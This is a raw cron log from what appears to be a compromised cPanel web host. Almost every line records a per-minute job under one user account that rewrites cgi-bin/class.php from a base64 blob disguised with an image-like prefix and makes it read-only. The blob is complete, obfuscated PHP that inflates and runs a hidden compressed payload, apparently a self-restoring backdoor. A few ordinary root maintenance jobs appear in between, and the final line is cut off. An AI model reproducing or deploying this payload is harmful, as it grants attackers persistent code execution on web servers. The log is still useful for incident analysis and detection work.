Nov 12 23:21:01 server CROND[5751]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:22:01 server CROND[6613]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:23:01 server CROND[7558]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:24:01 server CROND[8082]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:25:01 server CROND[9117]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 23:25:01 server CROND[9118]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 23:25:01 server CROND[9119]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:26:01 server CROND[9710]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:27:01 server CROND[10084]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 23:27:01 server CROND[10085]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:28:01 server CROND[11070]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:29:01 server CROND[11944]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:30:01 server CROND[12734]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 23:30:01 server CROND[12735]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 23:30:01 server CROND[12737]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:30:01 server CROND[12736]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 23:31:01 server CROND[13712]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:32:01 server CROND[14499]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:33:01 server CROND[15135]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:34:01 server CROND[15870]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 